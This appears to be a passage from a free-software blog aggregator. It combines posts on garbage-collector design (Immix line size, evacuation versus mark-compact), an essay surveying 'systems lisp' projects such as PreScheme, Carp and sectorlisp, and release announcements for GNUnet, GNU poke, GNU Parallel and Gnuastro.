Without eager empty block identification, if the lospace runs out of blocks, firstly you don't know how many empty blocks the mark space has. Sweeping is a kind of wavefront that moves through the whole heap; empty blocks behind the wavefront will be identified, but those ahead of the wavefront will not. Such a lospace allocation would then have to either wait for a concurrent sweeper to advance, or perform some lazy sweeping work. The expected latency of a lospace allocation would thus be higher, without eager identification of empty blocks.
Secondly, eager sweeping might reduce allocation overhead for mutators. If allocation just has to identify holes and not compute information or decide on what to do with a block, maybe it go brr? Not sure.
lines, lines, lines
The original Immix paper also notes a relative insensitivity of the collector to line size: 64 or 256 bytes could have worked just as well. This was a somewhat surprising result to me but I think I didn't appreciate all the roles that lines play in Immix.
Obviously line size affect the worst-case fragmentation, though this is mitigated by evacuation (which evacuates objects, not lines). This I got from the paper. In this case, smaller lines are better.
Line size affects allocation-time overhead for mutators, though which way I don't know: scanning for holes will be easier with fewer lines in a block, but smaller lines would contain more free space and thus result in fewer collections. I can only imagine though that with smaller line sizes, average hole size would decrease and thus medium-sized allocations would be harder to service. Something of a wash, perhaps.
However if we ask ourselves the thought experiment, why not just have 16-byte lines? How crazy would that be? I think the impediment to having such a precise line size would mainly be Immix's eager sweep, as a fine-grained traversal of the heap would process much more data and incur possibly-unacceptable pause time overheads. But, in such a design you would do away with some other downsides of coarse-grained lines: a side table of mark bytes would make the line mark table redundant, and you eliminate much possible "dark matter" hidden by internal fragmentation in lines. You'd need to defer sweeping. But then you lose eager identification of empty blocks, and perhaps also the ability to evacuate into recyclable blocks. What would such a system look like?
Readers that have gotten this far will be pleased to hear that I have made some investigations in this area. But, this post is already long, so let's revisit this in another dispatch. Until then, happy allocations in all regions.
Last month I made a blogpost titled
Guile Steel: A Proposal for a Systems Lisp.
It got more attention than I anticipated, which is both a blessing and
and curse.
I mean, mostly the former, the curse isn't so serious, it's mostly
that the post was aimed at a specific community and got more coverage
than that, and funny things happen
when things leave their intended context.
The blessing is that real, actual progress has happened, in terms of
organization, actual development (thanks to others mostly!), and a
compilation of potential directions.
In many ways "Guile Steel" was meant to be a meta project, somewhat
biased around Guile but more so a clever name to start brewing some
ideas (and gathering intelligence) around, a call-to-arms for those
who are likeminded, a test even to see if there are enough likeminded
people out there.
The answer to that one is: yes, and there's actually a lot that's
happening or has happened historically.
I actually think Lisp is going through a quiet renaissance and is
on the verge or a major revival, but that's a topic for another post.
The goal of this post is to give a lay of the landscape, as I've seen
it since then.
There's a lot out there.
If you enjoy this post by the way, there's an IRC channel:
#guile-steel on irc.libera.chat. It's surprisingly well populated
given that people have only shown up through word of mouth.
First, an aside on language (again)Also by-the-way, it's debatable what "systems language" even means,
and the previous post
spent some time debating that.
Language is mostly fuzzy,
and subject to the constant
battle between fuzzy and crisp systems,
and "systems language" is something people evoke to make themselves
sound like very crispy people, even though the term could hardly be
fuzzier.
We're embracing the hand-waviness here;
I've previously mentioned that
"Blockchain" is to "Bitcoin" what "Roguelike" is to "Rogue".
Similarly, "Systems Language" is to "C/Rust" what "Roguelike" is to
"Rogue".
My friend Technomancy put things about as
well or as succinctly as you could: "low-level enough to bootstrap a
runtime". We'll extend "runtime" to not only mean "programming
language runtime" but also "operating system runtime", and that's the
scope of this post.
With that, let's start diving into directions.
Carp and ScopesI was unaware at the time of writing the
previous post
of two remarkable "systems lisps" that already existed, are here,
now, today, and you can and maybe should use them:
Carp
and Scopes.
Both of them are statically typed, and both perform automatic memory
management without the overhead of a garbage collector or reference
counting in a style familiar to Rust.
They are also both kind of similar yet different.
Carp is written on top of
Haskell, looks a lot like Clojure in style.
Scopes is written in C++, looks a lot like Scheme, and has
an optional, non-parenthetical whitespace syntax which reminds me a lot of
Wisp, so is maybe more amenable
to the type of people who fear parentheses or must work with people who do.
I can't make a judgement about either; I would like to find some time
to try each of them.
Scopes looks more up my alley of the two.
If someone packaged either of these languages for Guix
I would try it in a heartbeat.
Anyway, Carp
and Scopes already are systems
lisps of sorts you can try today.
(If you've made something cool with either of them,
let me know.)
Pre-SchemeThere's a lot to say on this one, despite its obscurity,
enough that I'm going to give it several sub-headings.
I'll get the big one up front: Andrew Whatson is doing an incredible
job porting Pre-Scheme to Guile.
But I'll get more to that below.
What the heck is Pre-Scheme anyway?PreScheme
(or is it Pre-Scheme or prescheme or what? nobody is consistent, and I
won't be either) is a "systems lisp" that is used to bootstrap the
incredible but "sleeper hit" (or shall we say "cult classic"?) of
programming language runtimes, Scheme48.
PreScheme compiles to C, is statically typed with type inference based
on a modified version of
Hindley-Milner,
and uses manual memory management for heap-allocated resources (much like C)
rather than garbage collection.
(C is just the current main target, compiling directly to native
architectures or WebAssembly is also possible.)
The wild things about PreScheme are that unlike C or Rust, you can hack
on it live at the REPL just like Scheme, and you can even incorporate a
certain amount of Scheme, and it mostly looks like Scheme.
But it still compiles down efficiently to low-level code.
It's used to implement Scheme48's virtual machine and garbage collector,
and is bootstrappable from a working Scheme48, but there's also apparently
a version sitting around somewhere on top of some metacircular Scheme
which Jonathan Rees wrote on top of Common Lisp, giving it a good
bootstrapping story.
While used for Scheme48, and usable from it today, there's no reason you
can't use it for other things, and a few smaller projects have.
What's more wild about PreScheme is how incredibly good of an idea
it is, how long it's sat around (since the 80s, with a lot of work
happening in the 90s!), and how little attention it's gotten.
PreScheme's thoughtful design actually follows from Richard Kelsey's
amazing PhD dissertation,
Compilation By Program Transformation,
which really feels like the kind of obscure CS thing that, if you've made
it this far in this writeup, you probably would love reading.
(Thank you to Olin Shivers for reviving this dissertation in LaTeX, which
otherwise would have been lost to history.)
guile-preschemeNow I did mention prescheme and how I thought that was a fairly
interesting starting point on the
last Guile Steel blogpost,
and I actually got several people reaching out to me saying they
wanted to take up this initiative, and a few of them suggested
maybe they should start porting PreScheme to Guile, and I said
"yes you should!" to all of them, but one person took up the initiative
quickly and has been doing a straight and faithful port to Guile
named guile-prescheme.
The emulator (which isn't too much code really) has already worked for
a couple of weeks (which means you can already hack PreScheme at
Guile's REPL, and Andrew Whatson says that the "compile to C" compiler
is already well on its way, and will likely be there in about a month.
The main challenge apparently is the conversion of macros,
which are stuck in the
r4rs era of Scheme.
Andrew has been slowly converting everything to
syntax-case.
syntax-case is encoded in r6rs
and even more appealingly r7rs-small,
which begs the question: how general of a port is this?
Does it really have to just be to Guile?
And that brings us to our next subsection...
The Secret Society of PreScheme RevivalistsOkay there's not really a secret society, we just have an email thread
going and I organized a video call recently, and we're likely to do
another one (I hope).
This one was really good, very productive.
(We didn't record it, sadly. Maybe we should have.)
On said video call we got Andrew Whatson of course, who's doing the
current porting effort, but also Richard Kelsey (the original brain
behind PreScheme, co-author of much of Scheme48), Michael Sperber
(current maintainer of Scheme48 and also someone who has used
PreScheme previously commercially, to do some monte carlo simulation
things for some financial firm or something curious like that), and
Jonathan Rees (co-author of Scheme48, and one of my friends who I like
to call up and talk about all sorts of curious topics).
There were a few others, all cool people, and also me, hand-waving
excitedly as usual.
As an aside, my wife Morgan says my superpower is that I'm good at
"showing up in a room and being excited and getting everyone else
excited", and she's right, I think.
And... well there's just a lot of interesting stuff in computer science
history, amazing people whose work has just been mostly ignored, stuff
left on the shelf.
It's not what the Tech Influencers (TM) are currently touting, it's not
what a FAANG company is going to currently hire you to do, but if
you're trying to solve the hard problems people don't even realize they
have, your best bet is to scour history.
I don't know if it's true or not but this felt like one of those times
where the folks who have worked on PreScheme historically seemed kind
of surprised that here we had a gathering of people who are
extremely interested in the stuff they've done, but also happy about it.
Anyway, that seemed like my reading, I like to think so anyway.
Andrew (I think?) said some nice things about how it was just exciting
to be able to talk to the people who have done these things, and I agree.
It is cool stuff. We are grateful to be able to talk about it.
The conversation was really nice, we got some interesting historical
information (some of that which I've conveyed here), and Richard
Kelsey indicated that he's been doing work on microcontrollers and
wishes he could be using PreScheme, but the things clients/employers
get nervous about is "will be able to actually hire anyone to work on
this stuff who isn't just you?"
I'd like to think that we're building up enough enthusiasm where we
can demonstrate in the affirmative, but that's going to take some time.
Anyway, I hinted in the last part that some of the more interesting
conversation came to, just how portable is this port?
Andrew indicated that he thought that the port to Guile as he was doing
it was already helping to make things more portable.
Andrew is just focusing on Guile first, but is avoiding the
Guile-specific ice-9 namespace of Guile modules
(which in this case, from a standardization perspective, becomes
a little bit too appropriate)
and is using as much generic Scheme and
SRFI extensions as possible.
Once the Guile version gets working, the goal is then to try porting
to a more standardized form of Scheme
(probably r7rs-small),
and then that would mean that any Scheme following that standard could
use the same version of PreScheme.
Michael Sperber seemed to indicate that maybe Scheme48 could use this
version too.
This would actually be pretty incredible because it would mean that
any version of Scheme following the Scheme standard would suddenly
have access to PreScheme, and any of those could also be used to
bootstrap a PreScheme based Scheme.
A PreScheme JIT?I thought Andrew Whatson (flatwhatson here) said this well enough
himself so I'm just going to quote it verbatim:
<flatwhatson> re: pre-scheme interest for bootstrapping, i think it's more
interesting than just "compiling to C"
<flatwhatson> Michael Sperber's rejected paper "A Tractable Native-Code Scheme
System" describes repurposing the pre-scheme compiler (more
accurately called the transformational compiler) as a jit
byte-code optimizer and native-code emitter
<flatwhatson> the prescheme compiler basically lowers prescheme code to a
virtual machine-code and then emits that as C
<flatwhatson> i think it would be feasible to directly emit native code at
that point instead
<flatwhatson> https://www.deinprogramm.de/sperber/papers/tractable-native-code-scheme-system.pdf
<flatwhatson> Kelsey's dissertation describes transforming a high-level
language to a low-level language, not specifically scheme to C.
<flatwhatson> > The machine language is an assembly language written in the
syntax of the intermediate language and has a much simpler
semantics. The machine is assumed to be a Von Neumann machine
with a store and register-to-register instructions. Identifiers
represent the machine’s registers and primitive procedures are
the machine’s instructions.
<flatwhatson> Also, we have code for the unreleased byte-code jit-compiling
native-emitting version of Scheme 48:
https://www.s48.org/cgi-bin/hgwebdir.cgi/s48-compiler/
(How the hell that paper was rejected btw, I have no idea.
It's great.)
Future directions for PreSchemeOne obvious improvement to PreScheme is: compile to
WebAssembly (aka WASM)!
This would be pretty neat and maybe, maybe, maybe could mean a good path
to getting more Schemes in the browser without using
Emscripten (which is a bit heavy-handed of an
approach).
Andrew and I both think this is a fun idea, worth exploring.
I think once the "compile to C" part of the port to Guile is done, it's
worth beginning to look at in earnest.
Relatedly, it would also, I think, be pretty neat if guile-prescheme
was compelling enough for more of Guile to be rewritten in it.
This would improve Guile's already-better-than-most bootstrapping story
and also make hacking on certain parts of Guile's internals more
accessible and pleasant to a larger part of Guile's existing userbase.
The other obvious improvement to PreScheme is exploring (handwave
handwave handwave) the kinds of automated memory management which
have become popular with Rust's borrow checker and also appear in
Carp
and Scopes,
as discussed above.
3L: The Computing System of the Future (???)I mentioned that an appealing use of PreScheme might be to write not
just a language runtime, but also an operating system.
A very interesting project called 3L
exists and is real and does just that.
In fact, it's also a capability-secure operating system,
and it cites all the right stuff
and has all
the
right
ideas going
for it.
And it's using PreScheme!
Now the problem is, seemingly nobody I know who would be interested in
exactly a project like this even had heard of it before (except for
the incredible and incredibly nice hacker
pukkamustard is the one who made me even aware
of it by mentioning it in the #guile-steel chatroom), and I couldn't
even find the actual code on the main webpage.
But there actually is source code,
not a lot of it, but it's there, and in a way "not a lot of it" is
not a bad thing here, because
what's there
looks stunningly similar to a very familiar
metacircular evaluator,
which begs the question, is that really enough, though?
And actually maybe it is, because hey look there's a
demo video and a
nice talk.
And it's using Scheme48!
(As a complete aside: I'd be much more likely to play with Scheme48 if
someone Geiser support for
it... that's something I've poked at doing every now and then but I
haven't had enough of a dedicated block of time.
If you, dear reader, feel inspired enough to add such support,
or actually if you give 3L a try, let me know).
Anyway, cool stuff, I've been meaning to reach out to the author,
maybe I will after I post this.
I wonder what's come of it.
(It's also missing a license file or any indicators, but maybe we
could get that fixed easily enough?)
WebAssemblyI had a call with someone recently who said WebAssembly was really only
useful for C/Rust users, and I thought this was fairly surprising/confusing,
but maybe that's because I think WebAssembly is pretty cool and have
hand-coded a small amount of it for fun.
Its text-based syntax is
S-Expression based
which makes it appealing for lispy type folks, and just easy to parse
and work with in general.
It's stretching it a bit to call WebAssembly a Lisp, it's really just
something that's designed to be an intermediate language
(eg in GCC),
a place where compiler authors often deign it okay/acceptable to use
s-expressions because they don't fear that they'll scare off
non-lispers or PLT people, because hey most users aren't going to
touch this stuff anyway, right?
I dunno, I consider it a win at least that s-expressions have survived
here.
I showed up to an in-person WebAssembly meeting once and talked to one
of the developers about it, praised them for this choice, and they said
"Oh... yeah, well, we initially did it because it was the easiest thing
to start with, and then eventually we came to like it, which I guess
is the usual thing that happens with S-Expressions."
(Literally true, look up the history of M-Expressions vs S-Expressions.)
At any rate, most people aren't coding WebAssembly by hand.
However, you could, and if you're going to, a Lisp based environment
is actually a really good choice.
wasm-adventure
is a really cool little demo game
(try it!),
all hand-written in WebAssembly kinda sorta.
The README gives its motivations as "Is it possible (and enjoyable) to
write a game directly in web assembly's text format? Eventually,
would it be cool to generate wat from Scheme code using the Racket
lang system?", and the answer becomes an emphatic "yes".
What's interesting is that
Lisp's venerable quasiquote does much of the heavy lifting
to make, without too much work, a little DSL for authoring WebAssembly
which results in some surprisingly
easy to read code
compared to generic WebAssembly.
(The author, Zoé Martin, is another one
of those quiet geniuses you run into on the internet; she has a lovely
homebrew computer design too.)
So what I'd really like is to see more languages compiling directly
to WebAssembly without emscripten as an intermediate hack.
Guile especially, of course.
Andy Wingo gave an amazing little talk on this
where he does a little (quasi, pre-recorded) live coding demo
of compiling to WebAssembly and I thought "YES!!! Compiling to
WASM is probably right around the corner" and it turns out that's
probably not the case because Wingo would like to see some important
extensions to WASM land, and I guess, yes that probably makes sense,
and also he's working on a
new garbage collector
which seems damn cool and like it'll be really good for Guile and
maybe even could help the compiling to WASM story even before
the much desired WASM-GC
extension we all want lands, but who knows.
I mean it would also be nice to have like, the
tail call elimination extension,
etc etc etc.
But see also Wingo's writeup about targeting the web
from last year, etc etc.
(And on that note, I mean, is
Webassembly the new Kubernetes?)
As another aside, there are two interesting Schemes which are actually
written in WebAssembly, or rather, one written directly in hand-coded
WASM named scheme.wasm, and
one which compiles itself to Webassembly called Schism
(which has a cool paper,
but sadly hasn't been updated in a couple of years).
As another another aside, I was on a video call with Douglas Crockford
at one point and mentioned WebAssembly and how cool I thought it was,
and Crock kinda went "meh" to it, and I was like what?
I mean it has ocap people you and I have both collaborated on it with,
overall its design seems pretty good, better than most of the things of
its ilk that have been tried before, why are you meh'ing WebAssembly?
And Crock said that well, it's not that WebAssembly is bad, it's just
that it felt like an opportunity to do something impactful, and it's
"just another von neumann architecture", like, boring, can't we do
better?
But when I asked for specific alternatives, Crock didn't have a
specific design in mind, just thought that maybe we could do better,
maybe it could even incorporate actors at a more fundamental level.
Well... it turns out we both know someone who did just that, and (so I
hear) both recently got nerdsniped by that very same person who had
just such an architecture...
Mycelia and uForkSo I had a call with sorta-colleague, sorta-friend I guess?
I'm talking about Dale Schumacher, and I don't know him super well, we
don't get to talk that much, but I've enjoyed the amount we have.
Dale has been trying to get me to have a video call for a while, we
finally did, and I was expecting us to talk about our respective
actor'y system projects, and we did... but the big surprise was hearing
about Mycelia, Dale's ocap-secure
hybrid-actor-model-lisp-machine-lambda-calculus operating system, and
its equally astounding, actually maybe more astounding, virtual machine
and maybe potentially CPU architecture design,
uFork.
We're going to take a major digression but I promise that it ties
back in.
This isn't the first time Dale's reached out and it's resulted in me
being surprised and nerdsniped.
A few years ago Dale reached out to me to talk about this programming
language he wrote called Humus.
What's astounding personally about Humus is that it has an eerie
amount of similarity to
Spritely Goblins,
the ocap distributed object architecture I've been working on the last
few years, despite that we fully designed our systems independently.
Dale beat me to it, but it was an independent reinvention in the sense
that I simply wasn't aware of Humus until Dale started emailing me.
The eerie similarity is because I think Dale and I's systems are the
most seriously true-to-form implementations of the "Classic Actor
Model" that have been implemented in recent times (more true than say,
Erlang, which does some other things, and "Classic" thrown on there
because Carl Hewitt has some new ideas that he feels strongly should
now be associated with "Actor Model" that can be layered on Dale and
I's systems, but are not there at the base layer).
(Actually, Goblins supports one other thing that makes it more the
vat model of computation, but that isn't important for this post.)
The Classic Actor Model says (hand-waving past pre-determinism in the
general case, at least from the perspective of a single actor, due to
ordering concerns... but those too can be layered on) that you can do
pretty much all computation in terms of just actors, which are these
funky distributed objects which handle messages one at a time, and
while handling them are only able to do some combination of three
things:
(1) send messages to actors they know about, (2) create new actors
(and get their address in the process, which they can share with other
actors should they choose... argument passing, basically), and (3)
designate their behavior for the next time they are handling a
message.
It's pretty common to use "become" for last that operation, but the
curious thing that both Dale and I did was use lambdas as the thing
you become.
(By the way, those familiar with Scheme history should notice something
interesting and familiar here, and for that same reason Dale and I
are also in the shared company of being scolded by Carl Hewitt for
saying our actors are made out of lambdas, despite him liking our
systems otherwise, I think...)
I remarked off-hand that "well I guess one of the main differences
between our systems, and maybe a thing you might not like, is that
mine is lispy / based on Scheme, and..."
Dale waved his hand. "That's mostly surface..."
"Surface syntax, yeah I know. So I guess it doesn't..."
"No wait it does matter.
What I'm trying to show you is that I actually do like that kind
of stuff.
In fact I have some projects which use it at a fundamental level.
Here... let me show you..."
And that's when we started talking about
uFork,
the instruction architecture he was working on, which I later found
was actually part of a larger thing called
Mycelia.
Well I'm glad I got the lecture directly from Dale because, let's see,
how does the Mycelia
project brand itself (at the time of writing)?
"A bare-metal actor operating system for Raspberry Pi."
Well, maybe this underwhelming self-description is why seemingly
nobody I know (yes, like 3L above) has
seemingly heard about it, despite it being extremely up the
alley of the kind of programming people I tend to hang out with.
Mycelia is not just some throwaway raspberry pi project (which
is certainly the impression I would have gotten from lazily scanning
that page). Most of those are like, some cute repackaging of some
existing FOSS POSIX'y thing.
But Mycelia is an actually-working,
you-can-actually-boot-it-on-real-hardware open source
operating system (under Apache v2) with a ton of novel ideas which
happens to be targeting the Raspberry Pi, but it could be ported to
run on anything.
Anyway, there are a lot of interesting stuff in there, but here's a
bulleted list summary. For Mycelia:
It's is an object-capability-secure operating system
It has a Lisp-like language for coding, pretty much Scheme-like, to
hack around on
The Kernel language /
Vau calculus show up, which is... wild
It encodes the Actor model and the Lambda calculus in a way that
is sensible and coherent afaict
It is a "Lisp Machine" in many senses of the term.
But the uFork
virtual machine / abstract idea for a CPU also are curious on their
own. I dunno, I spent the other night reading it kind of wildly after
our call. It also encodes the lambda calculus / actor model in
fundamental instructions.
Dale was telling me he'd like to build an actual, physical CPU, but of
course that takes a lot of resources, so he might settle for an FPGA
for now. The architecture, should it be built, also somehow encodes a
hardware garbage collector, which I haven't heard of anything doing
that since the actual physical Lisp Machines died out.
At any rate, Dale was really excited to tell me about why his system
encoded instructions operating on memory split in quads.
He asked me why I thought that would be; I'm not honestly sharp enough
in this kind of area to know, sadly, though I said "I hope it's not
because you're planning on encoding RDF at the CPU layer".
Thankfully it's not that, but then he started mentioning how his system
encodes a stream of continuations...
Wait, that sounds familiar.
"Have you ever heard of something called
sectorlisp?" I asked,
with a raised eyebrow.
"Scroll to the bottom of the document," Dale said, grinning.
Oh, there it was. Of course.
sectorlispThe most technically impressive thing I think I've ever seen is
John McCarthy's "Lisp implemented in Lisp", also known as a
"metacircular evaluator".
If you aren't familiar with it, it's been summarized well in the
talk The Most Beautiful Program Ever Written
by William Byrd.
I think the best way to understand it really, and (I'm biased)
the easiest to read version of things is in the
Scheme in Scheme section
of A Scheme Primer
(though I wrote that for my work, and as said, I'm biased... I don't
think I did anything new there, just explained ideas as simply as I
could).
The second most technically impressive thing I've ever seen is
sectorlisp, and the two are
directly related.
According to its README, "sectorlisp is a 512-byte implementation of
LISP that's able to bootstrap John McCarthy's meta-circular evaluator
on bare metal."
Where traditional metacircular evaluator examples can be misconstrued
as being the stuff of pure abstractlandia, sectorlisp gets brutally
direct about things.
In one sector (half a kilobyte!!!), sectorlisp manages to encode
a whole-ass lisp system that actually runs.
And yet, the nature of the metacircular evaluator persists.
(Take that,
person on Hacker News who called metacircular evaluators "cheating"!
Even if you think mine was, I don't think you can accuse sectorlisp's of that.)
If you do nothing else, watch the
sectorlisp blinkenlights demo,
even just as an astounding visual demo alone.
(Blinkenlights is another project of
Justine's, and also wildly impressive.)
I highly recommend the following blogposts of Justine's:
SectorLISP Now Fits in One Sector,
Lisp with GC in 436 bytes,
and especially Lambda Calculus in 383 Bytes.
Hikaru Ikuta (woodrush) has also written
some amazing blogposts, including
Extending SectorLISP to Implement BASIC REPLs and Games and
Building a Neural Network in Pure Lisp Without Built-In Numbers Using Only Atoms and Lists
(and related, but not part of sectorlisp:
A Lisp Interpreter Implemented in Conway's Game of Life,
which gave off strong
Wireworld Computer vibes for me).
If you are only going to lazily scan through one of those blogposts, I
recommend it be
Lambda Calculus in 383 Bytes,
which has some wild representations of the ideas (including visually),
a bit too advanced for me at present admittedly, though I stare at
them in wonder.
I had a bunch more stuff here, partly because the author is someone I
find both impressive technically but who has also said some fairly
controversial things... to say the least.
But I think it was too much of a digression for this article.
The short version is that Justine's stuff is probably the smartest,
most mind-blowing tech I've ever seen, kinda scarily and
intimidatingly smart, and it's hard to mentally reconcile that with
some of those statements.
I don't know, maybe she wants to move past that phase, I'd like to
think so.
I think she hasn't said anything like that in a long time, and it
feels out of phase with the rest of this post but... it feels like
something that needs to be acknowledged.
GOOL, GOAL, and OpenGOALEvery now and then when people say Lisp couldn't possibly be
performant, Lisp people like to bring up that Naughty Dog famously
had its own Lisp implementations for most of its earlier games.
Andy Gavin has written about GOOL,
which was a mix of lisp and assembly and of course lisp generating
assembly, and I don't think much was written about
its followup GOAL until OpenGOAL came up, which...
I haven't looked at it too much tbh.
I guess it's getting interesting for some people for the ability to
play Jak and Daxter on modern hardware (which I've never played but
looked fun), but I'm more curious if someone's gonna poke at it to
do something completely different.
But I do know some of the vague legends. I don't remember if this is
true or where I read it but one of them that Sony accused Naughty Dog of
accessing some devkit or APIs they weren't supposed to have access to
because they were pulling off a bunch of features performantly in
Crash Bandicoot that were assumed otherwise not possible. But nope,
just lisp nerds making DSLs that pull off some crazy shit I guess.
BONUS: Shoutout to KandriaOh, speaking of games written in Lisp, I guess
Kandria's engine is gonna be FOSS,
and that game looks wicked cool, maybe
support their Kickstarter
while you still can.
It's not really in the theme of this post from the definition of
"systems lisp" I gave earlier, but
this blogpost about its lispy internals
is really neat.
Okay here's everything else we're doneThis was a long-ass post.
There's other things maybe that could be discussed, so I'll just
dump briefly:
Chicken Scheme compiles to C but doesn't
strike me as qualifying for this post's vague definition because
it still has the usual memory/dynamic typing overheads of Scheme.
But go ahead and read literally everything on more-magic.net
anyway because that stuff is great.
SBCL: The Ultimate Assembly Code Breadboard, kinda wild
Kinda feels worth mentioning the Lambda Paper about the Scheme chip:
Design of LISP-based Processors, or SCHEME: A Dielectric LISP, or Finite Memories Considered Harmful, or LAMBDA: The Ultimate Opcode
Mes, I'm gonna mention Mes
again, but I'm tired of writing now and leave you to research
further why it's one of the most important projects to have happened
in the software world in the past decade. There's videos and stuff
about it from FOSDEM so watch those I guess.
EDIT: And as everyone keeps reminding me, this blogpost really
ought to mention Loko Scheme, which is directly
and intentionally aiming to be a boots-from-bare-metal Scheme.
Okay, that's it. Hopefully you found something interesting out of
this post. Meanwhile, I was just gonna spend an hour on this. I
spent my whole day! Eeek!
This is a bugfix release for gnunet 0.17.2.
In addition to the fixed in the source, the documentation websites including
the handbook have been updated and consolidated:
https://docs.gnunet.org
.
Notably, the GNUnet project now publishes a GNS zone for its websites which can be used
to test resolution on any installation.
For example:
I am happy to announce a new release of GNU poke, version 2.4.
This is a bugfix release in the poke 2.x series.
See the file NEWS in the distribution tarball for a list of issues fixed in this release.
The tarball poke-2.4.tar.gz is now available at
https://ftp.gnu.org/gnu/poke/poke-2.4.tar.gz.
GNU poke (http://www.jemarch.net/poke) is an interactive, extensible editor for binary data. Not limited to editing basic entities such as bits and bytes, it provides a full-fledged procedural, interactive programming language designed to describe data structures and to operate on them.
GNU Parallel 20220722 ('Roe vs Wade') has been released. It is available for download at: lbry://@GnuParallel:4
Quote of the month:
The syntax for GNU Parallel is so slick that I often use it just to make my script read nicer, and the parallelism is a cherry on top.
-- Epistaxis@reddit
New in this release:
--colour-failed will color output red if the job fails.
sql: support for InfluxDB.
Polarhome.com is dead, so these OSs are no longer supported: AIX HPUX IRIX Minix OPENSTEP OpenIndiana OpenServer QNX Solaris Syllable Tru64 Ultrix UnixWare.
Bug fixes and man page updates.
News about GNU Parallel:
GNU Parallel used in "Hitting the Target" https://www.centrefornetzero.org/wp-content/uploads/2022/05/ABM-Report-Final.pdf
GNU Parallel - For people who live life in the parallel lane.
If you like GNU Parallel record a video testimonial: Say who you are, what you use GNU Parallel for, how it helps you, and what you like most about it. Include a command that uses GNU Parallel if you feel like it.
About GNU Parallel
GNU Parallel is a shell tool for executing jobs in parallel using one or more computers. A job can be a single command or a small script that has to be run for each of the lines in the input. The typical input is a list of files, a list of hosts, a list of users, a list of URLs, or a list of tables. A job can also be a command that reads from a pipe. GNU Parallel can then split the input and pipe it into commands in parallel.
If you use xargs and tee today you will find GNU Parallel very easy to use as GNU Parallel is written to have the same options as xargs. If you write loops in shell, you will find GNU Parallel may be able to replace most of the loops and make them run faster by running several jobs in parallel. GNU Parallel can even replace nested loops.
GNU Parallel makes sure output from the commands is the same output as you would get had you run the commands sequentially. This makes it possible to use output from GNU Parallel as input for other programs.
For example you can run this to convert all jpeg files into png and gif files and have a progress bar:
Watch the intro video on http://www.youtube.com/playlist?list=PL284C9FF2488BC6D1
Walk through the tutorial (man parallel_tutorial). Your command line will love you for it.
When using programs that use GNU Parallel to process data for publication please cite:
O. Tange (2018): GNU Parallel 2018, March 2018, https://doi.org/10.5281/zenodo.1146014.
If you like GNU Parallel:
Give a demo at your local user group/team/colleagues
Post the intro videos on Reddit/Diaspora*/forums/blogs/ Identi.ca/Google+/Twitter/Facebook/Linkedin/mailing lists
Get the merchandise https://gnuparallel.threadless.com/designs/gnu-parallel
Request or write a review for your favourite blog or magazine
Request or build a package for your favourite distribution (if it is not already there)
Invite me for your next conference
If you use programs that use GNU Parallel for research:
Please cite GNU Parallel in you publications (use --citation)
If GNU Parallel saves you money:
(Have your company) donate to FSF https://my.fsf.org/donate/
About GNU SQL
GNU sql aims to give a simple, unified interface for accessing databases through all the different databases' command line clients. So far the focus has been on giving a common way to specify login information (protocol, username, password, hostname, and port number), size (database and table size), and running queries.
The database is addressed using a DBURL. If commands are left out you will get that database's interactive shell.
When using GNU SQL for a publication please cite:
O. Tange (2011): GNU SQL - A Command Line Tool for Accessing Different Databases Using DBURLs, ;login: The USENIX Magazine, April 2011:29-32.
About GNU Niceload
GNU niceload slows down a program when the computer load average (or other system activity) is above a certain limit. When the limit is reached the program will be suspended for some time. If the limit is a soft limit the program will be allowed to run for short amounts of time before being suspended again. If the limit is a hard limit the program will only be allowed to run when the system is below the limit.
The 18th release of GNU Astronomy Utilities (Gnuastro) is now available. See the full announcement for all the new features in this release and the many bugs that have been found and fixed: https://lists.gnu.org/archive/html/info-gnuastro/2022-07/msg00001.html
GNU LibreJS aims to address the JavaScript problem described in Richard
Stallman's article The JavaScript Trap. LibreJS is a free add-on for GNU IceCat and other Mozilla-based browsers. It blocks nonfree nontrivial JavaScript while allowing JavaScript that is free and/or trivial.
Good evening, gentle hackfolk. Last time we talked about heuristics for when you might want to compact a heap. Compacting garbage collection is nice and tidy and appeals to our orderly instincts, and it enables heap shrinking and reallocation of pages to large object spaces and it can reduce fragmentation: all very good things. But evacuation is more expensive than just marking objects in place, and so a production garbage collector will usually just mark objects in place, and only compact or evacuate when needed.
Today's post is more details!
dedication
Just because it's been, oh, a couple decades, I would like to reintroduce a term I learned from Marnanel years ago on advogato, a nerdy group blog kind of a site. As I recall, there is a word that originates in the Oxbridge social environment, "narg", from "Not A Real Gentleman", and which therefore denotes things that not-real-gentlemen do: nerd out about anything that's not, like, fox-hunting or golf; or generally spending time on something not because it will advance you in conventional hierarchies but because you just can't help it, because you love it, because it is just your thing. Anyway, in the spirit of pursuits that are really not What One Does With One's Time, this post is dedicated to the word "nargery".
side note, bis: immix-style evacuation versus mark-compact
In my last post I described Immix-style evacuation, and noted that it might take a few cycles to fully compact the heap, and that it has a few pathologies: the heap might never reach full compaction, and that Immix might run out of free blocks in which to evacuate.
With these disadvantages, why bother? Why not just do a single mark-compact pass and be done? I implicitly asked this question last time but didn't really answer it.
For some people will be, yep, yebo, mark-compact is the right answer. And yet, there are a few reasons that one might choose to evacuate a fraction of the heap instead of compacting it all at once.
The first reason is object pinning. Mark-compact systems assume that all objects can be moved; you can't usefully relax this assumption. Most algorithms "slide" objects down to lower addresses, squeezing out the holes, and therefore every live object's address needs to be available to use when sliding down other objects with higher addresses. And yet, it would be nice sometimes to prevent an object from being moved. This is the case, for example, when you grant a foreign interface (e.g. a C function) access to a buffer: if garbage collection happens while in that foreign interface, it would be nice to be able to prevent garbage collection from moving the object out from under the C function's feet.
Another reason to want to pin an object is because of conservative root-finding. Guile currently uses the Boehm-Demers-Weiser collector, which conservatively scans the stack and data segments for anything that looks like a pointer to the heap. The garbage collector can't update such a global root in response to compaction, because you can't be sure that a given word is a pointer and not just an integer with an inconvenient value. In short, objects referenced by conservative roots need to be pinned. I would like to support precise roots at some point but part of my interest in Immix is to allow Guile to move to a better GC algorithm, without necessarily requiring precise enumeration of GC roots. Optimistic partial evacuation allows for the possibility that any given evacuation might fail, which makes it appropriate for conservative root-finding.
Finally, as moving objects has a cost, it's reasonable to want to only incur that cost for the part of the heap that needs it. In any given heap, there will likely be some data that stays live across a series of collections, and which, once compacted, can't be profitably moved for many cycles. Focussing evacuation on only the part of the heap with the lowest survival rates avoids wasting time on copies that don't result in additional compaction.
(I should admit one thing: sliding mark-compact compaction preserves allocation order, whereas evacuation does not. The memory layout of sliding compaction is more optimal than evacuation.)
multi-cycle evacuation
